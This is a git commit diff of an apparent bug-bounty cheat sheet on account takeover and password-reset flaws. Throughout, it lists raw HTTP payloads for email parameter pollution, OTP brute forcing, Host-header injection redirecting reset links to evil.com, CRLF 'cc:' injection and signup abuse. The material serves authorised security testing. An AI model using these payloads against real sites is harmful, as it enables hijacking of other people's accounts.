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Daffa / Split reset password and ATO

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MD15 2021-01-31 22:03:29 +07:00
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101
Account Takeover.md
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@ -1,79 +1,12 @@
## Account Takeover
1. Parameter pollution in reset password
```
POST /reset
[...]
email=victim@mail.com&email=hacker@mail.com
```
1. Using OAuth Misconfiguration
- Victim has a account in evil.com
- Attacker creates an account on evil.com using OAuth. For example the attacker have a facebook with a registered victim email
- Attacker changed his/her email to victim email.
- When the victim try to create an account on evil.com, it says the email already exists.
2. Bruteforce the OTP code
```
POST /reset
[...]
email=victim@mail.com&code=$123456$
```
3. Host header Injection
```
POST /reset
Host: evil.com
[...]
email=victim@mail.com
```
```
POST /reset
Host: target.com
X-Forwarded-Host: evil.com
[...]
email=victim@mail.com
```
And the victim will receive the reset link with evil.com
4. Using separator in value of the parameter
```
POST /reset
[...]
email=victim@mail.com,hacker@mail.com
```
```
POST /reset
[...]
email=victim@mail.com%20hacker@mail.com
```
```
POST /reset
[...]
email=victim@mail.com|hacker@mail.com
```
```
POST /reset
[...]
email=victim@mail.com%00hacker@mail.com
```
5. No domain in value of the paramter
```
POST /reset
[...]
email=victim
```
6. No TLD in value of the parameter
```
POST /reset
[...]
email=victim@mail
```
7. Using carbon copy
```
POST /reset
[...]
email=victim@mail.com%0a%0dcc:hacker@mail.com
```
8. Try re-sign up using same email
2. Try re-sign up using same email
```
POST /newaccount
[...]
@ -84,24 +17,4 @@ After sign up using victim email, try signup again but using different password
POST /newaccount
[...]
email=victim@mail.com&password=hacked
```
9. If there is JSON data in body requests, add comma
```
POST /newaccount
[...]
{“email”:“victim@mail.com”,”hacker@mail.com”,“token”:”xxxxxxxxxx”}
```
10. Find out how the tokens generate
- Generated based on TimeStamp
- Generated based on the ID of the user
- Generated based on the email of the user
- Generated based on the name of the user
> [For Example](https://medium.com/bugbountywriteup/how-i-discovered-an-interesting-account-takeover-flaw-18a7fb1e5359)
11. Account takeover after login (Work if inside the website there is "Connect to facebook/twitter/etc")
- First, login to the website using victim email
- Find "Connect to facebook/twitter/googleplus" or something like that ![Photo](https://miro.medium.com/max/875/0*LOrCFhQF9-KPALPg.png)]
- Connect to attacker twitter
- After logout you can login using the twitter
```

88
Password Reset Flaws.md Normal file
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@ -0,0 +1,88 @@
## Password Reset Flaws
1. Parameter pollution in reset password
```
POST /reset
[...]
email=victim@mail.com&email=hacker@mail.com
```
2. Bruteforce the OTP code
```
POST /reset
[...]
email=victim@mail.com&code=$123456$
```
3. Host header Injection
```
POST /reset
Host: evil.com
[...]
email=victim@mail.com
```
```
POST /reset
Host: target.com
X-Forwarded-Host: evil.com
[...]
email=victim@mail.com
```
And the victim will receive the reset link with evil.com
4. Using separator in value of the parameter
```
POST /reset
[...]
email=victim@mail.com,hacker@mail.com
```
```
POST /reset
[...]
email=victim@mail.com%20hacker@mail.com
```
```
POST /reset
[...]
email=victim@mail.com|hacker@mail.com
```
```
POST /reset
[...]
email=victim@mail.com%00hacker@mail.com
```
5. No domain in value of the paramter
```
POST /reset
[...]
email=victim
```
6. No TLD in value of the parameter
```
POST /reset
[...]
email=victim@mail
```
7. Using carbon copy
```
POST /reset
[...]
email=victim@mail.com%0a%0dcc:hacker@mail.com
```
8. If there is JSON data in body requests, add comma
```
POST /newaccount
[...]
{“email”:“victim@mail.com”,”hacker@mail.com”,“token”:”xxxxxxxxxx”}
```
9. Find out how the tokens generate
- Generated based on TimeStamp
- Generated based on the ID of the user
- Generated based on the email of the user
- Generated based on the name of the user
> [For Example](https://medium.com/bugbountywriteup/how-i-discovered-an-interesting-account-takeover-flaw-18a7fb1e5359)